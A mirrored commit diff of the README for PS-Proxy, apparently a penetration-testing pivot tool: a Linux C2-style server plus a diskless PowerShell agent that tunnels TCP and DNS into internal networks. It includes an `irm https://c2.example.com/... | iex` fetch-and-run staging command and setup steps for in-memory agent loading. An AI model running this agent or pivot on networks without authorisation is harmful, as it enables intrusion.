mirror of
https://github.com/Harrison-Wells-Cyber/PS-Proxy
synced 2026-07-26 08:06:34 +00:00
Add Let’s Encrypt cert guidance
This commit is contained in:
@@ -1,247 +1,230 @@
|
|||||||
# PS-Proxy
|
# PS-Proxy
|
||||||
|
|
||||||
PS-Proxy is being rebuilt as a professional route-based pivot with a Go Linux
|
PS-Proxy is a route-based TCP pivot for operators who need to reach internal
|
||||||
server and a single-file PowerShell 5.1 agent. The project goal is reliable
|
network services from a Linux VPS through a Windows host that can access those
|
||||||
operation for TCP-heavy AD tooling such as Impacket, NetExec, RustHound,
|
services. It is built for TCP-heavy tooling such as Impacket, NetExec,
|
||||||
`ldapsearch`, and TCP-connect `nmap`, without proxychains and without requiring
|
RustHound, `ldapsearch`, and TCP-connect `nmap` without proxychains and without
|
||||||
administrator privileges on the Windows agent host.
|
requiring local administrator privileges on the Windows agent host.
|
||||||
|
|
||||||
> Current implementation status: the repo now has a working encrypted enrollment
|
The tool has two parts:
|
||||||
> flow, a framed multiplexed TCP stream protocol, a diskless PowerShell/C# agent
|
|
||||||
> packaging flow, and a developer TCP relay for end-to-end protocol testing. The
|
|
||||||
> full production TUN/netstack data plane is still the next major milestone.
|
|
||||||
|
|
||||||
## Design decisions
|
- **Linux server:** a Go binary that listens over TLS, stages one-time agent
|
||||||
|
downloads, manages the encrypted tunnel, and redirects routed TCP traffic into
|
||||||
|
the tunnel.
|
||||||
|
- **Windows agent:** a single PowerShell 5.1 script that loads the embedded C#
|
||||||
|
core in memory, enrolls with the server, and opens outbound TCP connections to
|
||||||
|
internal targets from the Windows host's network position.
|
||||||
|
|
||||||
- **Server:** Go, intended to run as root on Linux.
|
## How it works
|
||||||
- **Data plane:** Linux transparent TCP redirect mode is implemented now for test-environment use: local tools connect directly to routed target IPs, iptables redirects matching TCP connections to the server, and the server relays the original destination through the enrolled agent. A true TUN/netstack backend remains the long-term production direction.
|
|
||||||
- **Agent:** Windows PowerShell 5.1 loader with a precompiled C# core embedded
|
|
||||||
into a single `.ps1`.
|
|
||||||
- **Agent delivery:** one command, one file, no separate DLL transfer:
|
|
||||||
`irm https://server/a/<one-time-id> | iex`.
|
|
||||||
- **Target-side privileges:** no local admin required on the Windows agent host.
|
|
||||||
- **Enrollment:** the server creates a short-lived one-time staging URL. The
|
|
||||||
generated agent script contains an enrollment token rather than a long-term
|
|
||||||
PSK.
|
|
||||||
- **Trust anchor:** TLS is transport and staging only. The agent pins the stable
|
|
||||||
PS-Proxy application identity public key and establishes an authenticated
|
|
||||||
encrypted tunnel inside TLS before enrollment tokens or tunnel frames are sent.
|
|
||||||
- **Disk behavior:** release agents do not use `Add-Type`, do not invoke
|
|
||||||
`csc.exe` on the target, and do not intentionally write the managed agent DLL
|
|
||||||
to disk. The embedded DLL is loaded with
|
|
||||||
`[System.Reflection.Assembly]::Load(byte[])`.
|
|
||||||
|
|
||||||
## Repository layout
|
1. You run `psproxy-server` on a Linux amd64 VPS with a public domain and TLS
|
||||||
|
certificate.
|
||||||
|
2. The server creates or reuses a stable PS-Proxy identity key
|
||||||
|
(`psproxy_identity.pem`) and prints a one-time PowerShell staging command.
|
||||||
|
3. You run the printed command on a Windows host that can reach the target
|
||||||
|
network.
|
||||||
|
4. The staged agent verifies the PS-Proxy identity inside the TLS connection,
|
||||||
|
enrolls over an authenticated encrypted tunnel, and starts relaying traffic.
|
||||||
|
5. On the Linux server, your tools connect directly to routed target IPs. In
|
||||||
|
transparent redirect mode, PS-Proxy installs iptables NAT rules that redirect
|
||||||
|
matching TCP connections into the local relay. The server preserves the
|
||||||
|
original destination and asks the agent to open that target from the Windows
|
||||||
|
side.
|
||||||
|
|
||||||
|
The Windows agent does not intentionally write the managed payload DLL to disk.
|
||||||
|
Release agents load the embedded assembly with
|
||||||
|
`[System.Reflection.Assembly]::Load(byte[])`.
|
||||||
|
|
||||||
|
## Quick start from a release zip
|
||||||
|
|
||||||
|
Use this path if you downloaded a prebuilt release zip and do not want to build
|
||||||
|
from source.
|
||||||
|
|
||||||
|
### Requirements
|
||||||
|
|
||||||
|
- A Linux amd64 VPS.
|
||||||
|
- A public DNS name that points to the VPS.
|
||||||
|
- A valid TLS certificate and private key for that DNS name.
|
||||||
|
- If you do not already have a certificate, point your domain at the VPS and use Certbot, for example `sudo certbot certonly --standalone -d c2.example.com`.
|
||||||
|
- Root privileges on the Linux server when using transparent redirect mode.
|
||||||
|
- A Windows host with Windows PowerShell 5.1 that can make outbound HTTPS
|
||||||
|
connections to the VPS and can reach the internal target network.
|
||||||
|
|
||||||
|
### Release zip layout
|
||||||
|
|
||||||
|
Extract the release zip and keep the included directory structure intact:
|
||||||
|
|
||||||
```text
|
```text
|
||||||
cmd/psproxy-server/ Go server entrypoint
|
psproxy-release/
|
||||||
internal/protocol/ framed tunnel protocol helpers and tests
|
├── psproxy-server
|
||||||
internal/staging/ one-time agent staging/enrollment helpers
|
├── agent/
|
||||||
agent/PSProxy.Agent/ PowerShell 5.1-compatible C# agent core source
|
│ └── loader/
|
||||||
agent/loader/agent.ps1.tmpl single-file PowerShell loader template
|
│ └── agent.ps1.tmpl
|
||||||
release/agent.ps1 packaged release agent placeholder/artifact
|
└── release/
|
||||||
tools/build-agent.ps1 Windows build script for release/agent.ps1
|
└── agent_assembly.b64
|
||||||
agent.ps1 source-checkout pointer to release agent workflow
|
|
||||||
```
|
```
|
||||||
|
|
||||||
The GitHub repository intentionally contains both source code and a release
|
The server uses `agent/loader/agent.ps1.tmpl` and `release/agent_assembly.b64`
|
||||||
agent location. Packaged releases should replace `release/agent.ps1` with a
|
by default when you run it from the extracted directory.
|
||||||
ready-to-run generated file so an operator can download and run without doing
|
|
||||||
manual packaging.
|
|
||||||
|
|
||||||
## Build the Go server on Linux
|
### Start the server
|
||||||
|
|
||||||
From the repo root:
|
From the extracted release directory, run:
|
||||||
|
|
||||||
```bash
|
|
||||||
go test ./...
|
|
||||||
go build -o psproxy-server ./cmd/psproxy-server
|
|
||||||
```
|
|
||||||
|
|
||||||
The build produces `./psproxy-server`.
|
|
||||||
|
|
||||||
## Build the single-file PowerShell 5.1 release agent
|
|
||||||
|
|
||||||
The first supported target is Windows PowerShell 5.1, so build the release agent
|
|
||||||
on a Windows machine with the .NET Framework compiler available.
|
|
||||||
|
|
||||||
Open Windows PowerShell from the repo root and run:
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
powershell -ExecutionPolicy Bypass -File tools\build-agent.ps1
|
|
||||||
```
|
|
||||||
|
|
||||||
That script:
|
|
||||||
|
|
||||||
1. Compiles `agent\PSProxy.Agent\PSProxy.Agent.cs` with the .NET Framework C#
|
|
||||||
compiler.
|
|
||||||
2. Compresses the compiled `PSProxy.Agent.dll`.
|
|
||||||
3. Base64-embeds the compressed DLL into `agent\loader\agent.ps1.tmpl`.
|
|
||||||
4. Writes the single-file release loader to `release\agent.ps1`.
|
|
||||||
5. Writes `release\agent_assembly.b64`, which the Go server uses by default to render one-time staged agents.
|
|
||||||
|
|
||||||
The Windows target still receives only one PowerShell script. The build step is
|
|
||||||
for the release maintainer, not the operator running the agent. Keep
|
|
||||||
`release\agent_assembly.b64` next to the server working directory, or pass it
|
|
||||||
explicitly with `--agent-assembly-b64-file`.
|
|
||||||
|
|
||||||
## Start the server with transparent TCP routing
|
|
||||||
|
|
||||||
Use a real certificate for HTTPS transport/staging. PS-Proxy will create or reuse
|
|
||||||
`psproxy_identity.pem` as the application-layer trust anchor; keep this file
|
|
||||||
stable across server restarts and redeployments so existing staged agents trust
|
|
||||||
the same server identity. On the Linux server, run as root so PS-Proxy can
|
|
||||||
install and remove iptables NAT rules:
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
|
chmod +x ./psproxy-server
|
||||||
sudo ./psproxy-server \
|
sudo ./psproxy-server \
|
||||||
--domain c2.example.com \
|
--domain c2.example.com \
|
||||||
--cert /etc/letsencrypt/live/c2.example.com/fullchain.pem \
|
--cert /etc/letsencrypt/live/c2.example.com/fullchain.pem \
|
||||||
--key /etc/letsencrypt/live/c2.example.com/privkey.pem \
|
--key /etc/letsencrypt/live/c2.example.com/privkey.pem \
|
||||||
--route 10.10.10.0/24 \
|
--route 10.10.10.0/24 \
|
||||||
--redirect \
|
--redirect \
|
||||||
--max-streams 256 \
|
--max-streams 256
|
||||||
--dns-listen 127.0.0.1:5353 \
|
|
||||||
--dns-target 10.10.10.10:53
|
|
||||||
```
|
```
|
||||||
|
|
||||||
With `--redirect`, PS-Proxy creates an iptables NAT chain for each `--route` and
|
Replace:
|
||||||
redirects matching local TCP connects into a loopback listener. The server reads
|
|
||||||
the original destination with `SO_ORIGINAL_DST`, sends that host:port through the
|
|
||||||
encrypted tunnel, and the Windows agent opens the target with a normal outbound
|
|
||||||
`TcpClient` from its network position.
|
|
||||||
|
|
||||||
The server owns its configured `--listen`/`--port` socket while it is running.
|
- `c2.example.com` with your domain.
|
||||||
By default that is `0.0.0.0:443`, so another web server or reverse proxy cannot
|
- The `--cert` and `--key` paths with your certificate paths.
|
||||||
bind port 443 on the same IP at the same time. If you need another service on
|
- `10.10.10.0/24` with the internal network reachable from the Windows host.
|
||||||
443, either bind PS-Proxy to a different address with `--listen`, run PS-Proxy on
|
|
||||||
a different external port with `--port`, or put a fronting load balancer/reverse
|
|
||||||
proxy on 443 and forward PS-Proxy traffic to its own backend port.
|
|
||||||
|
|
||||||
The server prints a one-time command:
|
If your certificate is in the default Let's Encrypt location for the domain, you
|
||||||
|
can omit `--cert` and `--key`:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
sudo ./psproxy-server \
|
||||||
|
--domain c2.example.com \
|
||||||
|
--route 10.10.10.0/24 \
|
||||||
|
--redirect
|
||||||
|
```
|
||||||
|
|
||||||
|
By default, PS-Proxy listens on `0.0.0.0:443`. If another service already uses
|
||||||
|
port 443, set `--listen` or `--port`, or place PS-Proxy behind a fronting load
|
||||||
|
balancer or reverse proxy that forwards to its own backend port.
|
||||||
|
|
||||||
|
### Run the Windows agent
|
||||||
|
|
||||||
|
When the server starts, it prints a one-time PowerShell command like:
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
irm https://c2.example.com/a/<one-time-id> | iex
|
irm https://c2.example.com/a/<one-time-id> | iex
|
||||||
```
|
```
|
||||||
|
|
||||||
The generated script auto-starts, loads the embedded C# core in memory, verifies
|
Run that command in Windows PowerShell 5.1 on the Windows host that can reach the
|
||||||
the staged PS-Proxy identity public key with an application-layer handshake,
|
internal network. After the agent enrolls, keep the PowerShell session running
|
||||||
sends enrollment inside the encrypted/authenticated tunnel, and then uses that
|
for as long as you need the tunnel.
|
||||||
protected tunnel for all framed TCP and DNS relay traffic.
|
|
||||||
|
|
||||||
## Optional fixed-target developer TCP relay
|
### Use your tools
|
||||||
|
|
||||||
For controlled protocol testing without iptables redirects, use the fixed-target
|
From the Linux server, connect to hosts in the routed CIDR directly. For example:
|
||||||
TCP relay. Example:
|
|
||||||
|
```bash
|
||||||
|
ldapsearch -x -H ldap://10.10.10.10 -b 'DC=example,DC=local' '(objectClass=domain)'
|
||||||
|
nmap -sT -Pn -p 445 10.10.10.10
|
||||||
|
```
|
||||||
|
|
||||||
|
With `--redirect`, matching TCP connections to `--route` networks are redirected
|
||||||
|
through PS-Proxy and opened by the Windows agent from its network position.
|
||||||
|
|
||||||
|
### Optional DNS relay
|
||||||
|
|
||||||
|
If you want DNS queries to be forwarded through the agent to an internal DNS
|
||||||
|
server, add both DNS flags when starting the server:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
sudo ./psproxy-server \
|
sudo ./psproxy-server \
|
||||||
--domain c2.example.com \
|
--domain c2.example.com \
|
||||||
--cert /etc/letsencrypt/live/c2.example.com/fullchain.pem \
|
|
||||||
--key /etc/letsencrypt/live/c2.example.com/privkey.pem \
|
|
||||||
--route 10.10.10.0/24 \
|
--route 10.10.10.0/24 \
|
||||||
--tcp-listen 127.0.0.1:1389 \
|
--redirect \
|
||||||
--tcp-target 10.10.10.219:389
|
--dns-listen 127.0.0.1:5353 \
|
||||||
|
--dns-target 10.10.10.10:53
|
||||||
```
|
```
|
||||||
|
|
||||||
Then run the printed one-liner on the Windows host. After the agent connects,
|
Then point DNS-capable tools at `127.0.0.1:5353` when they support a custom DNS
|
||||||
test from the Linux server:
|
server and port.
|
||||||
|
|
||||||
|
### Optional fixed-target TCP relay
|
||||||
|
|
||||||
|
For a single local port mapped to a single internal target, use the fixed-target
|
||||||
|
TCP relay:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
nc -vz 127.0.0.1 1389
|
sudo ./psproxy-server \
|
||||||
ldapsearch -x -H ldap://127.0.0.1:1389 -D 'user@example.local' -W -b 'DC=example,DC=local' '(objectClass=domain)'
|
--domain c2.example.com \
|
||||||
|
--tcp-listen 127.0.0.1:1389 \
|
||||||
|
--tcp-target 10.10.10.10:389
|
||||||
```
|
```
|
||||||
|
|
||||||
Transparent redirect mode is the recommended test-environment workflow right now.
|
After the agent connects, use the local listener:
|
||||||
The fixed-target relay remains useful when you want a single local port mapped to
|
|
||||||
a single target for debugging. Use `--max-streams` to cap concurrent proxied TCP
|
|
||||||
connections during high-concurrency tools such as NetExec; the default is 256.
|
|
||||||
When `--dns-listen` and `--dns-target` are set together, the server exposes UDP
|
|
||||||
and TCP DNS listeners on the same local address and forwards raw DNS queries
|
|
||||||
through the enrolled agent to the internal DNS server reachable from the agent
|
|
||||||
host.
|
|
||||||
|
|
||||||
## Security notes
|
```bash
|
||||||
|
ldapsearch -x -H ldap://127.0.0.1:1389 -b 'DC=example,DC=local' '(objectClass=domain)'
|
||||||
|
```
|
||||||
|
|
||||||
- Use HTTPS staging. Plain HTTP `irm | iex` is mechanically possible, but it is
|
### Operational notes
|
||||||
not acceptable for sensitive environments because staging tampering means code
|
|
||||||
execution on the Windows host.
|
- Keep `psproxy_identity.pem` private and stable across restarts. It is the
|
||||||
- TLS is transport only; do not use the HTTPS certificate as the PS-Proxy root of trust.
|
PS-Proxy application identity used by staged agents.
|
||||||
- The server has a stable RSA identity key (`--identity-key`, default
|
|
||||||
`psproxy_identity.pem`). If the file is missing, the server generates a
|
|
||||||
3072-bit RSA key and logs the SHA-256 pin of the public key DER.
|
|
||||||
- Keep `psproxy_identity.pem` stable and private. Rotating it intentionally
|
|
||||||
changes the PS-Proxy trust anchor and requires staging new agents.
|
|
||||||
- The staged agent embeds the server identity public key, performs an
|
|
||||||
application-layer PSP1 handshake, verifies a server HMAC proof, and only then
|
|
||||||
sends enrollment/reconnect tokens inside encrypted authenticated frames.
|
|
||||||
- Enrollment URLs are short-lived and one-time use.
|
- Enrollment URLs are short-lived and one-time use.
|
||||||
- The enrollment token is placed in the HTTPS response body, not in the URL.
|
- Do not log generated agent bodies, enrollment tokens, or reconnect tokens.
|
||||||
- Do not log generated agent bodies or enrollment tokens.
|
- The server needs permission to install and remove iptables NAT rules when
|
||||||
- The loader avoids intentional target-side file writes for the managed payload,
|
`--redirect` is enabled.
|
||||||
but host telemetry, PowerShell logging, AMSI, EDR, crash dumps, or pagefile
|
|
||||||
behavior are outside the loader's control.
|
|
||||||
|
|
||||||
|
## Build from source
|
||||||
|
|
||||||
### TLS inspection / enterprise decryption
|
Use this path if you cloned the repository and want to produce the server binary
|
||||||
|
and packaged agent assets yourself.
|
||||||
|
|
||||||
PS-Proxy now treats HTTPS/TLS as transport and staging rather than as the tunnel
|
### Requirements
|
||||||
root of trust. Enterprise TLS inspection products such as Palo Alto, Zscaler, or
|
|
||||||
other decrypting proxies may present an enterprise-issued leaf certificate to the
|
|
||||||
agent; this should no longer break agent/server trust because the agent verifies
|
|
||||||
the staged PS-Proxy identity public key inside the TLS connection.
|
|
||||||
|
|
||||||
Operational guidance:
|
- Go 1.24 or newer for the Linux server.
|
||||||
|
- A Windows machine with Windows PowerShell 5.1 and the .NET Framework C#
|
||||||
|
compiler for building the release agent.
|
||||||
|
|
||||||
- Keep using HTTPS for staging so the one-time loader is not exposed to trivial
|
### Build the Linux server
|
||||||
network tampering.
|
|
||||||
- Keep `psproxy_identity.pem` private and stable. It is the PS-Proxy identity,
|
|
||||||
and its public key pin is what identifies the legitimate server to agents.
|
|
||||||
- Back up `psproxy_identity.pem` with the same care as other server secrets. If
|
|
||||||
it is lost and regenerated, previously staged agents will not trust the new
|
|
||||||
identity unless they are restaged with the new public key.
|
|
||||||
- TLS inspection can still observe the outer HTTPS transport metadata, but it
|
|
||||||
cannot read or tamper with protected PSP1 tunnel frames after the
|
|
||||||
application-layer handshake without detection.
|
|
||||||
|
|
||||||
## Current implementation status
|
From the repository root on Linux:
|
||||||
|
|
||||||
Implemented now:
|
```bash
|
||||||
|
go test ./...
|
||||||
|
go build -o psproxy-server ./cmd/psproxy-server
|
||||||
|
```
|
||||||
|
|
||||||
- Go TLS listener with mixed HTTP staging and raw agent tunnel handling.
|
For a smaller release binary:
|
||||||
- Stable PS-Proxy RSA identity key generation/reuse with a logged public key pin staged into generated agents.
|
|
||||||
- Short-lived one-time staging URLs.
|
|
||||||
- Application-layer PSP1 secure handshake before enrollment, followed by encrypted/authenticated frame transport and reconnect-token authentication after first enrollment.
|
|
||||||
- Agent auto-reconnect with exponential backoff for transient tunnel failures.
|
|
||||||
- Framed multiplexed stream protocol.
|
|
||||||
- Linux transparent TCP redirect mode for direct local-tool TCP connections to routed target IPs.
|
|
||||||
- Fixed-target TCP relay mode for protocol validation.
|
|
||||||
- Bounded concurrent stream handling with per-stream local write queues so one slow local TCP client cannot block the whole multiplexed agent session.
|
|
||||||
- Optional UDP DNS relay that forwards raw DNS queries through the agent to an internal DNS server.
|
|
||||||
- JSON `/status` endpoint for agent and stream visibility.
|
|
||||||
- C# agent stream relay that opens normal outbound `TcpClient` connections from
|
|
||||||
the Windows host.
|
|
||||||
- PowerShell loader template that loads a compressed/base64 managed assembly from
|
|
||||||
memory.
|
|
||||||
- Windows build script to package the C# core into `release/agent.ps1`.
|
|
||||||
|
|
||||||
Next milestone:
|
```bash
|
||||||
|
go build -trimpath -ldflags="-s -w" -o psproxy-server ./cmd/psproxy-server
|
||||||
|
```
|
||||||
|
|
||||||
- Replace the Linux transparent redirect backend with a true production Go TUN/netstack data plane.
|
### Build the PowerShell release agent
|
||||||
- Add route setup/cleanup and `doctor` checks.
|
|
||||||
- Add integration tests for LDAP/RustHound-scale long-running TCP streams.
|
|
||||||
|
|
||||||
## Testing direction
|
From the repository root on Windows, run:
|
||||||
|
|
||||||
Before this project should be trusted for real assessments, it needs a lab test
|
```powershell
|
||||||
matrix that includes:
|
powershell -ExecutionPolicy Bypass -File tools\build-agent.ps1
|
||||||
|
```
|
||||||
|
|
||||||
- large bidirectional byte-stream integrity tests;
|
The build script writes:
|
||||||
- many concurrent stream tests;
|
|
||||||
- long-running LDAP/RustHound collection tests;
|
- `release/agent.ps1` — a single-file PowerShell loader with the embedded agent
|
||||||
- NetExec SMB/LDAP tests;
|
assembly.
|
||||||
- Impacket SMB/LDAP/RPC tests;
|
- `release/agent_assembly.b64` — the compressed/base64 agent assembly used by
|
||||||
- reconnect and stale route cleanup tests;
|
the server when rendering one-time staged agents.
|
||||||
- DNS relay tests against an internal AD DNS server;
|
|
||||||
- malformed frame and enrollment fuzz tests;
|
### Assemble a release directory
|
||||||
- certificate pin mismatch tests.
|
|
||||||
|
Create a release directory with the server binary and packaged agent assets:
|
||||||
|
|
||||||
|
```text
|
||||||
|
psproxy-release/
|
||||||
|
├── psproxy-server
|
||||||
|
├── agent/
|
||||||
|
│ └── loader/
|
||||||
|
│ └── agent.ps1.tmpl
|
||||||
|
└── release/
|
||||||
|
└── agent_assembly.b64
|
||||||
|
```
|
||||||
|
|
||||||
|
You can now zip `psproxy-release/` and distribute it as a ready-to-run Linux
|
||||||
|
amd64 release bundle for operators who provide their own domain and TLS
|
||||||
|
certificate.
|
||||||
|
|||||||
Reference in New Issue
Block a user